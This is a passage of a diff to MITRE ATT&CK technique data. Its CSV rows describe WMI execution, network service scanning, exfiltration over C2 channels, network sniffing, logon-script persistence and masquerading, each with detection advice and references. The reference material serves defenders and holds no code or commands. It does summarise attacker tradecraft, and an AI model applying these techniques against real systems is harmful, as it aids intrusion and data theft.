'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'source_name': 'FireEye WMI 2015'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.1,False,https://attack.mitre.org/techniques/T1047,mitre-attack,T1047,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Windows Management Instrumentation,"Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) - -An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)",attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055,attack-pattern,['execution'],2020-05-13T22:50:51.258Z,2017-05-31T21:30:44.329Z,"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of ""wmic"" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)","['Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']",,,"['User', 'Administrator']",['Windows'],True,,,"['WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.']",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1046', 'external_id': 'T1046'}, {'external_id': 'CAPEC-300', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/300.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",2.2,False,https://attack.mitre.org/techniques/T1046,mitre-attack,T1046,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Service Scanning,"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. - -Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.",attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88,attack-pattern,['discovery'],2021-04-09T14:56:26.562Z,2017-05-31T21:30:43.915Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.","['Command: Command Execution', 'Cloud Service: Cloud Service Enumeration', 'Network Traffic: Network Traffic Flow']",['Praetorian'],,"['Administrator', 'SYSTEM', 'User']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,CAPEC-300,https://capec.mitre.org/data/definitions/300.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1043', 'url': 'https://attack.mitre.org/techniques/T1043'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1043,mitre-attack,T1043,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Commonly Used Port,"**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.** - -Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as - -* TCP:80 (HTTP) -* TCP:443 (HTTPS) -* TCP:25 (SMTP) -* TCP/UDP:53 (DNS) +[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ",['exfiltration'],https://attack.mitre.org/techniques/T1048,mitre-attack,T1048,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['William Cain', 'Alfredo Abarca']","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1047', 'external_id': 'T1047'}, {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'}, {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'}, {'source_name': 'FireEye WMI SANS 2015', 'description': ""Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."", 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'}]",1.2,attack-pattern,attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:44.329Z,2021-10-15T23:58:07.715Z,Windows Management Instrumentation,"Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015) -They may use the protocol associated with the port or a completely different protocol. +An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)",['execution'],https://attack.mitre.org/techniques/T1047,mitre-attack,T1047,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['@ionstorm'],"['Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']",,"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of ""wmic"" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)",False,"['User', 'Administrator']",['Windows'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1046', 'external_id': 'T1046'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/300.html', 'external_id': 'CAPEC-300'}]",2.2,attack-pattern,attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:43.915Z,2021-04-09T14:56:26.562Z,Network Service Scanning,"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. -For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are +Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.",['discovery'],https://attack.mitre.org/techniques/T1046,mitre-attack,T1046,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Command: Command Execution', 'Cloud Service: Cloud Service Enumeration', 'Network Traffic: Network Traffic Flow']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -* TCP/UDP:135 (RPC) -* TCP/UDP:22 (SSH) -* TCP/UDP:3389 (RDP)",attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e,attack-pattern,['command-and-control'],2020-07-06T17:54:28.071Z,2017-05-31T21:30:42.657Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",,,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1041', 'url': 'https://attack.mitre.org/techniques/T1041'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",2.0,False,https://attack.mitre.org/techniques/T1041,mitre-attack,T1041,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over C2 Channel,Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.,attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d,attack-pattern,['exfiltration'],2020-03-12T15:59:47.470Z,2017-05-31T21:30:41.804Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1040', 'external_id': 'T1040'}, {'external_id': 'CAPEC-158', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/158.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1040,mitre-attack,T1040,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Sniffing,"Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. +Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.",False,"['Administrator', 'SYSTEM', 'User']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,CAPEC-300,https://capec.mitre.org/data/definitions/300.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1041', 'external_id': 'T1041'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",2.1,attack-pattern,attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:41.804Z,2021-10-15T22:45:50.620Z,Exfiltration Over C2 Channel,Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.,['exfiltration'],https://attack.mitre.org/techniques/T1041,mitre-attack,T1041,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1040', 'external_id': 'T1040'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/158.html', 'external_id': 'CAPEC-158'}]",1.2,attack-pattern,attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:41.399Z,2021-04-02T17:51:59.236Z,Network Sniffing,"Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. -Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.",attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529,attack-pattern,"['credential-access', 'discovery']",2021-04-02T17:51:59.236Z,2017-05-31T21:30:41.399Z,"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.","['Process: Process Creation', 'Command: Command Execution']",,,"['Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows', 'Network']",,CAPEC-158,https://capec.mitre.org/data/definitions/158.html,['Network interface access and packet capture driver'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1039', 'url': 'https://attack.mitre.org/techniques/T1039'}, {'external_id': 'CAPEC-639', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/639.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.2,False,https://attack.mitre.org/techniques/T1039,mitre-attack,T1039,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data from Network Shared Drive,"Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c,attack-pattern,['collection'],2020-03-24T15:42:44.026Z,2017-05-31T21:30:41.022Z,Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,"['File: File Access', 'Network Share: Network Share Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,CAPEC-639,https://capec.mitre.org/data/definitions/639.html,['Privileges to access network shared drive'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1037', 'url': 'https://attack.mitre.org/techniques/T1037'}, {'external_id': 'CAPEC-564', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/564.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",2.1,False,https://attack.mitre.org/techniques/T1037,mitre-attack,T1037,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Boot or Logon Initialization Scripts,"Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. +Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.","['credential-access', 'discovery']",https://attack.mitre.org/techniques/T1040,mitre-attack,T1040,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.",False,"['Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows', 'Network']",,CAPEC-158,https://capec.mitre.org/data/definitions/158.html,['Network interface access and packet capture driver'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1039', 'external_id': 'T1039'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/639.html', 'external_id': 'CAPEC-639'}]",1.2,attack-pattern,attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:41.022Z,2020-03-24T15:42:44.026Z,Data from Network Shared Drive,"Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",['collection'],https://attack.mitre.org/techniques/T1039,mitre-attack,T1039,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Network Share: Network Share Access', 'Command: Command Execution']",,Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,False,,"['Linux', 'macOS', 'Windows']",,CAPEC-639,https://capec.mitre.org/data/definitions/639.html,['Privileges to access network shared drive'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037', 'external_id': 'T1037'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/564.html', 'external_id': 'CAPEC-564'}]",2.1,attack-pattern,attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:38.910Z,2021-04-27T19:58:02.332Z,Boot or Logon Initialization Scripts,"Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. -An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334,attack-pattern,"['persistence', 'privilege-escalation']",2021-04-27T19:58:02.332Z,2017-05-31T21:30:38.910Z,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,"['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Creation', 'File: File Modification']",,,,"['macOS', 'Windows', 'Linux']",,CAPEC-564,https://capec.mitre.org/data/definitions/564.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1036', 'url': 'https://attack.mitre.org/techniques/T1036'}, {'external_id': 'CAPEC-177', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/177.html'}, {'source_name': 'LOLBAS Main Site', 'url': 'https://lolbas-project.github.io/', 'description': 'LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.4,False,https://attack.mitre.org/techniques/T1036,mitre-attack,T1036,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Masquerading,"Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. +An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1037,mitre-attack,T1037,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Creation', 'File: File Modification']",,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,False,,"['macOS', 'Windows', 'Linux']",,CAPEC-564,https://capec.mitre.org/data/definitions/564.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036', 'external_id': 'T1036'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/177.html', 'external_id': 'CAPEC-177'}, {'source_name': 'LOLBAS Main Site', 'description': 'LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.', 'url': 'https://lolbas-project.github.io/'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457'}]",1.4,attack-pattern,attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:38.511Z,2021-10-18T13:24:52.973Z,Masquerading,"Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. -Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0,attack-pattern,['defense-evasion'],2021-04-24T13:24:45.840Z,2017-05-31T21:30:38.511Z,"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. +Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",['defense-evasion'],https://attack.mitre.org/techniques/T1036,mitre-attack,T1036,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oleg Kolesnikov, Securonix', 'Nick Carr, Mandiant', 'David Lu, Tripwire', 'Felipe Espósito, @Pr0teus', 'Elastic', 'Bartosz Jerzman']","['Image: Image Metadata', 'Command: Command Execution', 'Service: Service Metadata', 'Service: Service Creation', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification', 'File: File Metadata', 'Process: Process Metadata', 'File: File Modification']",['Application control by file name or path'],"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) -Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters""\u202E"", ""[U+202E]"", and ""%E2%80%AE”.","['Image: Image Metadata', 'Command: Command Execution', 'Service: Service Metadata', 'Service: Service Creation', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification', 'File: File Metadata', 'Process: Process Metadata', 'File: File Modification']","['Oleg Kolesnikov, Securonix', 'Nick Carr, FireEye', 'David Lu, Tripwire', 'Felipe Espósito, @Pr0teus', 'Elastic', 'Bartosz Jerzman']",['Application control by file name or path'],,"['Linux', 'macOS', 'Windows', 'Containers']",,CAPEC-177,https://capec.mitre.org/data/definitions/177.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1034', 'url': 'https://attack.mitre.org/techniques/T1034'}, {'external_id': 'CAPEC-159', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/159.html'}, {'url': 'https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/', 'description': 'Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.', 'source_name': 'TechNet MS14-019'}, {'url': 'http://support.microsoft.com/KB/103000', 'description': 'Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.', 'source_name': 'Microsoft Subkey'}, {'url': 'https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464', 'description': 'Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.', 'source_name': 'Baggett 2012'}, {'url': 'https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/', 'description': 'HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.', 'source_name': 'SecurityBoulevard Unquoted Services APR 2018'}, {'url': 'https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/', 'description': 'McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.', 